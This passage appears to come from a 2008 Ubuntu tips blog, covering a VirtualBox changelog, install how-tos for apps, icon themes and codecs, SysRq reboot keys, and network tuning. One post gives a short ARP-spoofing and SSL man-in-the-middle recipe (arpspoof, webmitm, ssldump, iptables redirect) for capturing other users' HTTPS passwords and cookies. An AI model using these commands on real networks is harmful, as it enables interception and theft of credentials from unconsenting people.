  • VMM: reduced host CPU load of idle guests
  • [126001940260] |
  • VMM: many fixes for VT-x/SVM hardware-supported virtualization
  • [126001940270] |
  • ATA/IDE: better disk geometry compatibility with VMware images
  • [126001940280] |
  • ATA/IDE: virtualize an AHCI controller
  • [126001940290] |
  • Storage: better write optimization, prevent images from growing unnecessarily.
  • [126001940300] |
  • Network: support PXE booting with NAT
  • [126001940310] |
  • Network: fixed the Am79C973 PCNet emulation for Nexenta guests
  • [126001940320] |
  • NAT: improved builtin DHCP server (implemented DHCPNAK response)
  • [126001940330] |
  • NAT: port forwarding stopped when restoring the VM from a saved state
  • [126001940340] |
  • NAT: make subnet configurable
  • [126001940350] |
  • XPCOM: moved to libxml2
  • [126001940360] |
  • XPCOM: fixed VBoxSVC autostart race
  • [126001940370] |
  • Audio: SoundBlaster 16 emulation
  • [126001940380] |
  • USB: fixed problems with USB 2.0 devices
  • [126001940390] |
  • MacOS X: fixed seamless mode
  • [126001940400] |
  • MacOS X: better desktop integration, several look'n'feel fixes
  • [126001940410] |
  • MacOS X: switched to Quartz2D framebuffer
  • [126001940420] |
  • MacOS X: added support for shared folders
  • [126001940430] |
  • MacOS X: added support for clipboard integration
  • [126001940440] |
  • Solaris: added host audio playback support (experimental)
  • [126001940450] |
  • Solaris: made it possible to run VirtualBox from non-global zones
  • [126001940460] |
  • Shared Folders: made them work for NT4 guests
  • [126001940470] |
  • Shared Folders: many bugfixes to improve stability
  • [126001940480] |
  • Seamless windows: added support for Linux guests
  • [126001940490] |
  • Linux installer: support DKMS for compiling the kernel module
  • [126001940500] |
  • Linux host: compatibility fixes with Linux 2.6.25
  • [126001940510] |
  • Windows host: support for USB devices has been significantly improved; many additional USB devices now work
  • [126001940520] |
  • Windows Additions: automatically install AMD PCNet drivers on Vista guests
  • [126001940530] |
  • Linux additions: several fixes, experimental support for RandR 1.2
  • [126001940540] |
  • Linux additions: compatibility fixes with Linux 2.6.25
  • [126001940550] |Click Here to Grab the binary, at the drop-down Select Your Operating System and follow the directions here for install in Ubuntu [126001940560] |For more help with the installation process in other operating systems, please see the [126001940570] |User Manual [126001950010] |Howto: Install the latest Wine in Ubuntu Hardy Heron [126001950020] |Updated post for intrepid hereHere is a quick way to add the winehq repository so you dont need to wait for the ubuntu community to add the latest wine. [126001950030] |Open up a terminal Applications->Accessories->TerminalNow copy/paste these commands:Adding the gpg apt key:wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -Lets add the Repository via wget:sudo wget http://wine.budgetdedicated.com/apt/sources.list.d/hardy.list -O /etc/apt/sources.list.d/winehq.listNow lets update our apt sources and install the latest wine!sudo apt-get update ; sudo apt-get install wineOk now you will always have the latest wine package installed! [126001960010] |Howto: Install a brand new Dock with expandable menu's for Ubuntu Hardy Heron & Compiz! [126001960020] |Want a really hot OSX like dock that blows simdock and awn out of the water? [126001960030] |Well Cairo Dock comes fully loaded with a ton of fun features to play with, including its own widgets, themes, and auto update function! [126001960040] |Checkout a youtube video: [126001960050] |And Checkout my screenshots: [126001960060] |Add the repository to System->Administration->Software Sources->Third Party Software->Add:deb http://repository.cairo-dock.org/ubuntu gutsy cairo-dock [126001960070] |Click Reload. [126001960080] |Click here to install if you have apt-url installed with firefox and you added the above repository or:Open up synaptic:System->Administration->Synaptic and search for cairo-dock and cairo-dock-plug-ins then click install. [126001960090] |Once Installed you can access Cairo Dock via Applications->System Tools->Cairo DockCairo-Dock has an update function so you will not need a repository or need to download it again [126001960100] |Check here for more plugins and addons [126001960110] |Additonal Documentation is here [126001970010] |Howto: Install the Latest Project Neon Amarok 2 nightly build! [126001970020] |From the kde developers:Neon is our shiny new nightly builds service for Amarok. [126001970030] |Neon makes it easy to follow development of Amarok by regularly providing packages for you to install. [126001970040] |It is set up to be usable alongside your stable version. [126001970050] |Even though we try to keep your data secure, you should be aware that Neon is providing mostly unreleased and untested software, which might as well eat your system. [126001970060] |Neon is intended to be used by everyone who wants to help us find bugs, keep track of development, join development or just wants to live on the bleeding edge. [126001970070] |It is intended to be used instead of a stable and full featured Amarok. [126001970080] |We started this service with packages for Amarok 2 for Kubuntu but packages for openSUSE will follow soon and we hope more distributions will join. [126001970090] |To install it on Kubuntu/Ubuntu Hardy add the following line to your /etc/apt/sources.list fileor go to System->Administration->Software SourcesClick the Third Party Software tab, click add and paste the line belowdeb http://ppa.launchpad.net/project-neon/ubuntu hardy mainCheck for updatesInstall amarok-nightly by clicking here or sudo apt-get install amarok-nightly or even via synaptic [126001970100] |Please be aware that Amarok 2 is still in heavy development and therefore it is very likely that you will encounter bugs, things that are not finished and features that will change before we release Amarok 2.0. [126001970110] |We welcome everyone to send patches and help us get Amarok 2 ready soon. [126001970120] |If you want to stay up to date on all things Neon please subscribe to the dedicated mailinglist. [126001970130] |Availability of packages for other distributions will be announced there and on the Project Neon wiki page. [126001970140] |When reporting bugs please consider that for now we only accept bug reports for bugs that are not obvious and are easy to reproduce or have a useful backtrace. [126001970150] |Of course we like bugs with attached patches the most ;-) [126001970160] |More info here [126001980010] |Ubuntu Tweak 0.3.1 released for Ubuntu Hardy Heron with new Hotkey Creation! [126001980020] |Ubuntu Tweak 0.3.1 just released this morning which includes a check new version feature, which isnt needed if you use the repository below and a few bug fixes. [126001980030] |More info from the developers site here [126001980040] |Along time ago I did a quick review of Ubuntu Tweak here and now I see that TualatriX has significantly updated it with many user interface and bug fixes and added 1 hot must have feature which gives you the ability to create shortcut hotkeys to your favorite applications, I setup alt-ctrl-del to open gnome-system-monitor and the terminal to I can open both these with a keypress. [126001980050] |Well what is Ubuntu Tweak? [126001980060] |Ubuntu Tweak is an application designed to configure Gnome in Ubuntu and provides features that would otherwise require you to edit config files and use gconf to edit some internal settings. [126001980070] |It provides many useful desktop and system options that the default desktop environment doesn't provide. [126001980080] |At present, It is only designed for Ubuntu GNOME Desktop, and often follows the newest Ubuntu distribution. [126001980090] |LICENSE [126001980100] |Ubuntu Tweak is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation. [126001980110] |Features of Ubuntu Tweak [126001980120] |
  • View of Basic System Information(Distribution, Kernel, CPU, Memory, etc.)
  • [126001980130] |
  • GNOME Session Control
  • [126001980140] |
  • Auto Start Program Control
  • [126001980150] |
  • Show/Hide and Change Splash screen
  • [126001980160] |
  • Show/Hide desktop icons or Mounted Volumes
  • [126001980170] |
  • Show/Hide/Rename Computer, Home, Trash icon or Network icon
  • [126001980180] |
  • Tweak Metacity Window Manager’s Style and Behavior
  • [126001980190] |
  • Compiz Fusion settings, Screen Edge Settings, Window Effects Settings, Menu Effect Settins
  • [126001980200] |
  • GNOME Panel Settings
  • [126001980210] |
  • Nautilus Settings
  • [126001980220] |
  • Advanced Power Management Settings
  • [126001980230] |
  • System Security Settings
  • [126001980240] |
  • Ability to Create your own Shortcut Hotkeys
  • [126001980250] |
  • &Much more!
  • [126001980260] |Howto Install Ubuntu Tweak: [126001980270] |Simply Click here and download the file or add the repository via System->Administration->Software Sources then click third party repositories and copy/paste these lines:deb http://ppa.launchpad.net/tualatrix/ubuntu hardy maindeb-src http://ppa.launchpad.net/tualatrix/ubuntu hardy mainReload the repository and simply click here to install within your browser if you have apturl installedYou can also search synaptic for ubuntu-tweak or:sudo apt-get update &&apt-get install ubuntu-tweak [126001990010] |Banshee Music/Video Player 1.0 Beta 1 Released with PPA Repository For Hardy Heron! [126001990020] |Picture and info from Gabriel Burts Blog:Both MTP and iPod support album artwork, on-the-fly transcoding (converting between file formats), and video support! [126001990030] |Release Notes [126001990040] |Other features and fixes include: [126001990050] |
  • Fullscreen video playback (go to Now Playing and press f or hit the Fullscreen button)
  • [126001990060] |
  • Extensions can be enabled and disabled in the new Mange Extensions tab within your Preferences.
  • [126001990070] |
  • Banshee can be scripted using Boo
  • [126001990080] |
  • Improved gstreamer error handling (for missing files, codecs, etc)
  • [126001990090] |
  • A bug with play counts, introduced in Alpha 3, has been fixed
  • [126001990100] |
  • Writing metadata to file was not working in the Alphas, is fixed
  • [126001990110] |
  • Issues with the play queue should all be resolved
  • [126001990120] |
  • Limiting smart playlists by file size or duration works
  • [126001990130] |
  • Shuffle and repeat are automatically disabled while playing Last.fm
  • [126001990140] |This release also features default smart playlists, created for new users and users with zero smart playlists. [126001990150] |There is a more extensive list of predefined smart playlists, including the defaults, available in the New Smart Playlist dialog. [126001990160] |Howto Install Banshee 1.0 Beta 1 in Hardy Heron:Add the apt sources.list entries listed below to your "Third Party Repositories" in System->Administration->Software Sources, and click reload when prompted. [126001990170] |Alternatively, you could just add the entries listed below to the bottom of your /etc/apt/sources.list file, then run "sudo apt-get update". [126001990180] |Hardy Heron Repository:deb http://ppa.launchpad.net/banshee-team/ubuntu hardy maindeb-src http://ppa.launchpad.net/banshee-team/ubuntu hardy main [126001990190] |Gutsy Gibbon Repository:deb http://ppa.launchpad.net/banshee-team/ubuntu gutsy maindeb-src http://ppa.launchpad.net/banshee-team/ubuntu gutsy main [126001990200] |The latest release of Banshee is 1.0 Beta 1. [126001990210] |To install it click here, or use the command:sudo apt-get install banshee-1 [126001990220] |Alternatively, you could install "banshee-1" through Synaptic Package Manager. [126001990230] |The installation of Banshee 1.0 Beta 1 from this repository can co-exist with 0.13.x stable versions. [126001990240] |Ipod support in Banshee 0.13.2 requires manual installation of the podsleuth package:sudo apt-get install podsleuth [126002000010] |Elementary Icon Theme [126002000020] |Now here is a pretty hot icon set, its more complete than the others I have shared... [126002000030] |The elementary icon set focuses on simplicity and clarity while being realistic. [126002000040] |They are inspired by many different popular icon sets, such as Tango, Crystal, Developers Icons, Elements Icon Suite, etc [126002000050] |Howto Install:wget http://ubuntu-debs.googlecode.com/files/Elementary_1.7.tar.gz ; tar zxvf Elementary_1.7.tar.gz ; mv Elementary_1.7 ~/.icons [126002000060] |More info @ gnome-look.org [126002000070] |Enable:Right Click Desktop->Change Backround->Theme->Customize->Icons->Select Elementary->Close [126002010010] |Get a KDE Look For Gnome with Oxy-Gnome Icons! [126002010020] |I just found a nice icon theme that others will probably like, its based off of the KDE Oxygen Theme ported over to gnome by Chris Smart [126002010030] |Howto Install: [126002010040] |wget http://kororaa.org/oxy-gnome/files/oxy-gnome-080504.tar.bz2tar xvjf oxy-gnome-080504.tar.bz2mv oxy-gnome ~/.iconsAlternatively you can install the icons globally by moving the icon folder:sudo mv oxy-gnome /usr/share/icons/Enable Icons:Right Click Desktop->Change Backround->Theme->Customize->Icons->Select oxy-gnome->Close [126002010050] |Let me know what you think, also if you know of any other great icon packages let me know and I'll feature it here giving you credit! [126002020010] |Howto: Enable DVD Playback, Adobe Flash Plugin and MP3 Playback in Ubuntu Hardy Heron with 1 simple copy/paste! [126002020020] |Ubuntu is crippled on the multimedia front. [126002020030] |This is because of copyright and patent restrictions that complicate distribution of proprietary codecs with Ubuntu, which prides itself as a totally free operating system. [126002020040] |Even though Ubuntu developers haven’t included proprietary codecs, they have made it extremely easy for you to install them later through the Medibuntu repository. [126002020050] |You can get encrypted DVD playback, Adobe Flash plugin and non-native media files (Windows media, Apple QuickTime, Real, MP3) support by using this single command. [126002020060] |Open the terminal (Applications -> Accessories -> Terminal) and enter the following command:sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list &&sudo apt-get update &&sudo apt-get install medibuntu-keyring &&sudo apt-get update &&sudo apt-get install libdvdcss2 w32codecs [126002020070] |The above command downloads all the required codecs from the Medibuntu repositories and makes your Ubuntu box multimedia ready. [126002020080] |Note: The above command is for 32 bit processors. [126002020090] |AMD 64bit users, replace the ending word w32codecs with w64codecs. [126002020100] |PPC users replace w32codecs with ppc-codecs. [126002020110] |

    Bonus Tip

    [126002020120] |Once you have run the above command, you can easily install third party applications like Skype, Google Earth and Acrobat Reader. [126002020130] |Skype:sudo apt-get install skype [126002020140] |Google Earth:sudo apt-get install googleearth-4.2 [126002020150] |Adobe Acrobat Reader:sudo apt-get install acroread [126002030010] |OpenOffice.org 3.0 Beta Released! [126002030020] |If you've been looking out for OpenOffice.org 3.0 or are just looking for a new software package to try out this afternoon, OpenOffice.org 3.0 Beta has been released. [126002030030] |OpenOffice.org 3.0 integrates ODF 1.2 support, Microsoft Office 2007 Import Filters, charting enhancements, improved note capabilities in Writer, new icons, enhanced pdf export, multi-monitor support for impress, and a start center. [126002030040] |For Mac OS X users, OpenOffice.org 3.0 will now run without the need for X11 to be installed. [126002030050] |In addition, there are bug-fixes and other minor features that make up this beta release. [126002030060] |OpenOffice 3.0 release candidate is expected on July 25, while the final release isn't expected until September 2, 2008. [126002030070] |Release Notes HereFull Feature List Here [126002030080] |Download the Ubuntu Version here [126002030090] |Download the Linux rpm w/o Jre Here [126002030100] |Download the Linux rpm w/Jre here [126002030110] |Download for all other Operating systems and get extra info here [126002040010] |Ultimate Gnome Icon Theme [126002040020] |Today im on a icon looking spree, im trying to find the best icon pack for my computer and I'll be sharing a few themes like this one today, let me know what you think of this one, its pretty sleek. [126002040030] |Here is some info on this theme via Google code: [126002040040] |The Ultimate Gnome it's an icon theme for linux-gnome. [126002040050] |It is a distro indipendent theme tested on Gnome 2.20.1 . [126002040060] |It does not include any copyright violating icon cause every icon has been drawn from the author himself with Inkscape. [126002040070] |Every icon of the Ultimate Gnome is in a vectorial format (SVG/XML) to have always the best quality. [126002040080] |Howto Install Ultimate Gnome Icon pack:wget http://ultimate-gnome.googlecode.com/files/UltimateGnome.0.3.7.tar.gztar zxvf UltimateGnome.0.3.7.tar.gzmv UltimateGnome ~/.iconsRight Click Desktop->Change Backround->Theme->Customize->Icons->Select Ultimate Gnome->Close [126002040090] |More info from the authors page hereAuthors Google Code Here [126002040100] |Have any other themes worth mentioning? [126002050010] |The Heron has landed: a great review of Ubuntu 8.04 by Arstechnica.com [126002050020] |Ubuntu 8.04 was released last month with highly-anticipated features like PulseAudio, GNOME 2.22, and Wubi. [126002050030] |Although this release is a strong incremental improvement over its predecessor, we found some serious bugs that detract from the overall user experience. [126002050040] |Ars takes a close look to find out if Hardy Heron raises the bar. [126002050050] |read more [126002060010] |KDE 4.0.4 Released [126002060020] |KDE continues to release updates for the 4.0 desktop on a monthly basis. [126002060030] |Version 4.0.4 comes with several bugfixes and performance improvements. [126002060040] |KDE 4.1, which will bring large improvements to the KDE desktop and application will be released in July this year. [126002060050] |

    Enhancements

    [126002060060] |KDE 4.0.4 comes with several bugfixes and performance improvements. changelog. [126002060070] |KDE continues to release updates for the 4.0 desktop on a monthly basis. [126002060080] |KDE 4.1, which will bring large improvements to the KDE desktop and application will be released in July this year. [126002060090] |A first Alpha is already available for those that want to take a sneak peak at new features. [126002060100] |KDE 4.0.4 stabilises the desktop further, users of previous KDE 4.0 versions are encouraged to update. [126002060110] |Improvements revolve around lots of bugfixes and translation updates. [126002060120] |Corrections have been made in such a way that results in only a minimal risk of regressions. [126002060130] |read more [126002070010] |Howto: Create Split .Rar Files in Ubuntu Linux for archiving, filesharing, and backup purposes. [126002070020] |If you need to compress a large part of your hard drive to backup on a filesharing site or backup something larger than a cd/dvd you can use rar to split the file/files into multiple parts, you often see rar files on warez, torrents, and ftp's, here are the directions on creating these files and extracting them. [126002070030] |Lets grab the rar program:sudo apt-get install rarOk lets compress our directory of files: [126002070040] |To compress file(s) to split rar archive know which directory you want to compress, I used /home as an example [126002070050] |rar a -m5 -v5M -R myarchive /home/ [126002070060] |Let me break the above command down [126002070070] |rar - starts the programa - tells program to add files to the archive-m5 - determine the compression level (0-store (fast)...3-default...5-maximum(slow))-v5M - determine the size of each file in split archive, in this example you get files with size 5MB (if you wanted files of 512kB size you would write -v512k)myarchive - name of the archive you are creating/home/ - is folder of the files you wish to add to the archive [126002070080] |You can read the manual for more options:man rarPress q to exit and arrows to scroll up/downYou can also add -p to the command after a and it will prompt you for a password. [126002070090] |To uncompress the archive type: [126002070100] |rar x myarchive.part01.rar [126002070110] |Or right click on file myarchive.part01.rar and choose Extract Here. [126002080010] |Howto: Install Cinelerra Video Editor and Compositor in Ubuntu Linux Hardy Heron [126002080020] |Today, I was bored, and I decided to look around for a good video editor for linux, I dont know much about video editing and would like to learn a great deal more, here is a screenshot of CinelerraI just downloaded and finished installing cinerella, it looks like an old app, but I see that it is packed with plenty of special effects to add to your video's/movies. [126002080030] |It looks a bit more powerful than avidemux. [126002080040] |What I did was load up a divx movie and encoded the whole movie as a oil painting lol, it looks pretty cool, you can also add flames and other neat things to the video. [126002080050] |Here is some documentation to learn more about cinerella and what it does. [126002080060] |Here is an easy howto to install Cinelerra so you can be on your way editing videos... [126002080070] |For Hardy Heron add this repository in your sources list use the following terminal command:sudo wget http://repository.akirad.net/dists/hardy.list -O /etc/apt/sources.list.d/akirad.list [126002080080] |For Gutsy Gibbon add this repository in your sources list use the following terminal command:sudo wget http://repository.akirad.net/dists/gutsy.list -O /etc/apt/sources.list.d/akirad.listInstallations from this repository need an authentication key. [126002080090] |Add it by typing in your terminal the following command:wget -q http://repository.akirad.net/dists/akirad.key -O- | sudo apt-key add - &&sudo apt-get updateNow lets install Cinelerra:sudo apt-get install cinelerra-generic [126002080100] |Cinelerra must be set to work with PulseAudio. [126002080110] |Open Cinelerra and go to Settings->Preferences->Playback->Audio Driver. [126002080120] |Select ESound and set the following parameters:Server:blankPort: 7007 [126002080130] |Now that Cinelerra is installed you can access it via Applications->Sound [126002090010] |Howto: Install Google Earth the easiest way ;) [126002090020] |Previously I did a very quick howto for installing google earth which includes a nice video hereI will show you a much easier way to install Google Earth in 3 easy steps: [126002090030] |1. Open a terminal, yes that black screen that may scare you or thrill you :)Applications->Accessories->Terminal [126002090040] |Now copy/paste these commands:2. [126002090050] |Paste this If you are installing Google Earth on Ubuntu Hardy Heron:sudo wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list [126002090060] |Paste this if you are Installing Google Earth on Ubuntu Gutsy Gibbon:sudo wget http://www.medibuntu.org/sources.list.d/gutsy.list -O /etc/apt/sources.list.d/medibuntu.list [126002090070] |Paste this if you are Installing Google Earth on Ubuntu Feisty Fawn:sudo wget http://www.medibuntu.org/sources.list.d/feisty.list -O /etc/apt/sources.list.d/medibuntu.list [126002090080] |3. Copy/paste the last command that will update your repo's install the security key ring then finally install google earth :)sudo apt-get update &&sudo apt-get install medibuntu-keyring &&sudo apt-get install googleearth-4.3 [126002090090] |You will be able to access Google Earth in Applications->Internet->Google Earth or press ALT-F2 and type in googleearth [126002100010] |Howto: Install Mac Fonts on Ubuntu [126002100020] |Want these mac fonts? [126002100030] |AppleGaramondAquabaseLITHOGRLLucida GrandeLucida MacluconMacGrandIf you do follow me, I'll show you how easy it is to install them! [126002100040] |Open up a terminal:Applications->Accessories->TerminalCopy/paste these commands:wget http://ubuntu-debs.googlecode.com/files/macfonts.tar.gztar zxvf macfonts.tar.gzsudo mv macfonts /usr/share/fonts/sudo fc-cache -f -v [126002100050] |Now the Mac Fonts are installed, if you like these fonts and want them to be the default gnome font, right click on your desktop and select Change Desktop Backround then click on Fonts, and you can customize your system fonts there. [126002110010] |Howto: Restart Ubuntu Linux safely when it is frozen or locked up! [126002110020] |If anyone faces a freeze with Ubuntu where you cannot do anything, then this will certainly be helpful if you want to reboot the OS as cleanly as possible without damaging their HDD's or losing their data. [126002110030] |In case of a freeze where you cannot do anything, simply press Alt+PrintScreen+R+E+I+S+U+B, keep in mind that the underlined keys must be kept pressed through the rest of the sequence AND that you will need to keep holding the sequence keys for a small period of time before going to the next one so that their actions can be carried out properly (For example, hold the R key for about 1-2 seconds before moving on to S). [126002110040] |If the sequence does not work at first, then increase the time period between each sequence key press and try again. [126002110050] |It stands for Raw (take control of keyboard back from X), tErminate (send SIGTERM to all processes, allowing them to terminate gracefully), kIll (send SIGKILL to all processes, forcing them to terminate immediately), Sync (flush data to disk), Unmount (remount all filesystems read-only), reBoot. [126002110060] |These keystrokes should be entered a few seconds apart. [126002110070] |This should prevent a fsck being required on reboot; it also gives some programs a chance to save emergency backups of unsaved work. [126002110080] |Here is a breakdown of the other sysrq keys:0 - 9 - sets the console log level, controlling which kernel messages will be printed to your console so that you don't get flooded. [126002110090] |B - restarts the system without making steps to ensure that the conditions are good for a safe reboot, using this key alone is like doing a cold reboot. [126002110100] |E - sends SIGTERM to all processes except init. [126002110110] |This means that an attempt is done to end the current processes except init, safely, e.g. saving a document. [126002110120] |F - call oom_kill(Out Of Memory Killer), which will kill a process that is consuming all available memory. [126002110130] |H - displays help about the SysRq keys on a terminal though in actuality you can use any key except for the ones specified, to display help. [126002110140] |I - sends SIGKILL to all processes except init. [126002110150] |This means that all the processes except for init are killed, any data in processes that are killed will be lost. [126002110160] |K - kills all processes on the current terminal. [126002110170] |It is a bad idea to do this on a console where X is running as the GUI will stop and you can't see what you type, so you will need to switch to a tty after doing the magic SysRq. [126002110180] |L - sends SIGKILL to all processes, including init. [126002110190] |This means that every process including init will be killed, using this key will render your system non-functional and no further magicSysRq keys can be used. [126002110200] |So in this case you will have to cold reboot it. [126002110210] |M - dumps memory info to your console. [126002110220] |O - shuts down the system via ACPI or in older systems, APM. [126002110230] |As in key "B", using this key alone is like a cold reboot(Or in this case, a cold shutdown). [126002110240] |P - dumps the current registers and flags to your console. [126002110250] |Q - dumps all timers info to your console. [126002110260] |R - takes keyboard and mouse control from the X server. [126002110270] |This can be useful if the X-Server crashed, you can change to a console and kill the X-Server or check the error log. [126002110280] |S - writes all data from the disc cache to the hard-discs, it is a sync and is necessary to reduce the chances of data corruption. [126002110290] |T - dumps a list of current tasks and info to your console. [126002110300] |U - remounts all mounted filesystems read-only. [126002110310] |After using this key, you can reboot the system with Alt+SysRq+B without harming the system. [126002110320] |W - dumps uninterruptable (blocked) state tasks. [126002110330] |For more information see wikipedia [126002120010] |Howto: Use arpspoof, webmitm, and ssldump to effectively sniff passwords and other info via https connections on the lan/wlan with Ubuntu Linux! [126002120020] |Let me show you how easy it is to sniff someone elses password/cookies via ssl/https on the lan/wlan with ubuntu linux. [126002120030] |We will be using Arp Spoofing/Poisoning for this attack, if you have problems with this howto, there is an alternate with ettercap here that may be a bit easier [126002120040] |You can learn more about arp spoofing and poisoning here [126002120050] |The Attack preparation:First lets grab the necessary packages:sudo apt-get install dsniff ssldump [126002120060] |Now lets enable packet forwarding:sudo -secho 1 >/proc/sys/net/ipv4/ip_forward [126002120070] |Lets set some iptables rules:iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT [126002120080] |iptables -A FORWARD -j ACCEPT [126002120090] |arpspoof -t "target ip(person to own)" "gateway ip(router)" [126002120100] |webmitm -d [126002120110] |ssldump -n -d -k webmitm.crt | tee ssldump.log [126002120120] |Now all you do is wait for the target machine to log into google/gmail/yahoo/msn/hotmail or any other https connection, even a bank or whatever interests you and you will see the passwords pop up in the terminal. [126002120130] |Defense against this attack:Please see my page on hardening the Ubuntu Linux kernel with sysctl here [126002120140] |It seems like this isnt working for everyone, I will be redoing this howto today, stay tuned. [126002130010] |Howto: Fix Firefox and epiphany web browsers from crashing when using flash sites like youtube! [126002130020] |The other day my girlfriend was surfing on myspace tv and youtube and firefox kept on randomly closing on her, and she said to me... [126002130030] |Firefox sucks, and so does ubuntu, so im like nah it doesnt suck, its just a bug that all applications have that needs to be fixed, she said to me... "a bug" like a virus?... lol I said no, just a mistake in the developers implementation/port for linux that I will fix for you this weekend, so she said ok, and I searched launchpad and fixed the issue.. [126002130040] |Here is what I found: [126002130050] |It seems Flash has a compatibility issue with pulseaudio and randomly crashes on most flash sites, it really sucks, and it angers my friends to the max. [126002130060] |What this fix will do is grey out the flash area when flash itself crashes and leaves firefox or another browser alone so you are able to save your work and restart your browser safely. [126002130070] |Alternatively you may want to use swfdec or gnash and I have provided a easy 1-click solution after this quick fix: [126002130080] |This is a quick fix that will require the terminal: Applications->Accessories->Terminalwget http://launchpadlibrarian.net/13470096/nspluginwrapper_0.9.91.5-2ubuntu2_i386.debsudo dpkg -i nspluginwrapper_0.9.91.5-2ubuntu2_i386.debsudo apt-get remove --purge flashplugin-nonfreesudo apt-get install flashplugin-nonfree [126002130090] |This should fix the issue of crashing your browser, alternatively you may want to try a different free flash player like swfdec, or gnash if you just watch videos and play movies. [126002130100] |Swfdec and Gnash are more secure and not vulnerable to the same bugs/exploits as Adobe flash because it is opensource and you will notice that these alternatives use less ram/cpu power as well. [126002130110] |The only issue I have had with the free flash players is that you cannot upload or use web forms, which I rarely use anyways. [126002130120] |Howto: Get rid of Adobe Flash and install a free flash player! [126002130130] |Make sure you remove flashplugin-nonfree if you intend to use these flash alternatives:sudo apt-get remove --purge flashplugin-nonfree [126002130140] |Click here to install swfdec adobe flash alternative [126002130150] |Click here to install the gNash Adobe Flash Alternative! [126002130160] |If the above solution's do not work for you please see the official bug report here [126002140010] |Howto: Limit upload/download speeds and optimize/improve internet connection speed and responsiveness in Ubuntu Linux! [126002140020] |Do you need to limit an applications upload/download speed? [126002140030] |Or give priority to certain applications? [126002140040] |I will introduce you to two different traffic shaping applications that you can install from the repository. [126002140050] |What does Wondershaper do? [126002140060] |wondershaper is a traffic shaping script that provides low latency, prioritizes bulk transfers below normal web traffic, prioritizes interactive shells above normal web traffic, and attempts to prevent upload and download traffic from affecting each other’s ackpackets. [126002140070] |Put simply, the wondershaper makes your internet connection more "responsive" [126002140080] |More info: [126002140090] |* Maintain low latency for interfactive traffic at all times [126002140100] |This means that downloading or uploading files should not disturb SSH or even telnet. [126002140110] |These are the most important things, even 200ms latency is sluggish to work over. [126002140120] |* Allow 'surfing' at reasonable speeds while up or downloading [126002140130] |Even though http is 'bulk' traffic, other traffic should not drown it out too much. [126002140140] |* Make sure uploads don't harm downloads, and the other way around [126002140150] |This is a much observed phenomenon where upstream traffic simply destroys download speed. [126002140160] |It turns out that all this is possible, at the cost of a tiny bit of bandwidth. [126002140170] |The reason that uploads, downloads and ssh hurt each other is the presence of large queues in many domestic access devices like cable or DSL modems. [126002140180] |Howto use Wondershaper:Install wondershaper via searching synaptic or click here to install with 1 clickOpen a Terminal via Applications->Accessories->TerminalFirst figure out how much bandwidth you want to cap it to in kilobitsOf course you should calculate the above settings to what you prefer to shapeNow once you have the download/upload amounts in kilobits lets shape our traffic:wondershaper wlan0 1536 128Replace wlan0 with your interface, 1536 with your downlink speed, and 128 with your uplink speed. [126002140190] |Check the status of wondershaper:sudo wondershaper ifacename [126002140200] |Howto disable shaping on specified interface:sudo wondershaper clear ifacename [126002140210] |Now I will introduce you to Trickle:Click Here to install trickleTrickle is a lightweight traffic limiter for applications like wget, firefox, and any other user space internet application. [126002140220] |Trickle is handy for limiting single applications upload and download speeds, what it does is starts the application in a speed limited sandbox. [126002140230] |

    In short

    [126002140240] |trickle is a portable lightweight userspace bandwidth shaper. [126002140250] |It can run in collaborative mode (together with trickled) or in stand alone mode. [126002140260] |trickle works by taking advantage of the unix loader preloading. [126002140270] |Essentially it provides, to the application, a new version of the functionality that is required to send and receive data through sockets. [126002140280] |It then limits traffic based on delaying the sending and receiving of data over a socket. trickle runs entirely in userspace and does not require root privileges. [126002140290] |Here are a few examples: [126002140300] |wget example that limits the download speed to 30 KB/strickle -d 30 wget http://somerandomdownloadsite.com/filetodownload [126002140310] |Pidgin example that limits the upload/download speed of filetransferstrickle -u 30 -d 30 pidgin [126002140320] |Firefox Example that limits download/upload browsing speed as well as file transfer speed:trickle -d 30 -u 30 firefox [126002140330] |As you see above the -d operator means download speed and 30 is the KB/s that is specified and can be changed to whatever you choose, the -u operator is the upload speed in KB/s [126002140340] |References:Trickle Developer siteWondershaper Dev site [126002150010] |Howto: Tweak your Internet connection and maximize your bandwidth in Ubuntu/Linux via sysctl! [126002150020] |Here I will unleash a few hidden settings that should improve your internet speed, and work with all current linux operating systems including Ubuntu:first open a Terminal via Applications->Accessories->TerminalType:sudo gedit /etc/sysctl.confThen Paste the Following at the end of the file:# increase TCP max buffer size setable using setsockopt()net.core.rmem_max = 16777216net.core.wmem_max = 16777216# increase Linux autotuning TCP buffer limits# min, default, and max number of bytes to use# set max to at least 4MB, or higher if you use very high BDP pathsnet.ipv4.tcp_rmem = 4096 87380 16777216net.ipv4.tcp_wmem = 4096 65536 16777216# don't cache ssthresh from previous connectionnet.ipv4.tcp_no_metrics_save = 1net.ipv4.tcp_moderate_rcvbuf = 1# recommended to increase this for 1000 BT or highernet.core.netdev_max_backlog = 2500# for 10 GigE, use this, uncomment below# net.core.netdev_max_backlog = 30000 # Turn off timestamps if you're on a gigabit or very busy network# Having it off is one less thing the IP stack needs to work on#net.ipv4.tcp_timestamps = 0# disable tcp selective acknowledgements.net.ipv4.tcp_sack = 0#enable window scalingnet.ipv4.tcp_window_scaling = 1Press Ctrl-S To save then alt-F4 to exit and then type:sudo sysctl -pto apply the settings. [126002150030] |Hitup a speed test site or a very healthy torrent and see how your speed is: [126002150040] |You can disable all these settings by removing these lines you added via:sudo gedit /etc/sysctl.conf [126002150050] |You can recieve more information here [126002150060] |Have any additional tips to add? [126002150070] |Please post in the comments! [126002160010] |Introducing Funpidgin, a pidgin alternative! [126002160020] |This morning I stumbled to a good /. article:paleshadows writes "Pidgin, the premier multi-protocol instant messaging client, has been forked. [126002160030] |This is the result of a heated, emotional, and very interesting debate over a controversial new feature: As of version 2.4, the ability to manually resize the text input area has been removed; instead, it automatically resizes depending on how much is typed. [126002160040] |It turns out that this feature, along with the uncompromising unwillingness of the developers to provide an option to turn it off, annoys the bejesus of very many users. [126002160050] |One comment made by a Professor that teaches "Collaboration in an Open Source World" argued that 'It's easy to see why open source developers could develop dogmas. [...] [126002160060] |The most dangerous dogma is the one exhibited here: the God feature. [126002160070] |"One technological solution can meet every possible user-desired variation of a feature." [...] [126002160080] |You [the developers] are ignoring the fan base with a dedication to your convictions that is alarmingly evident to even the 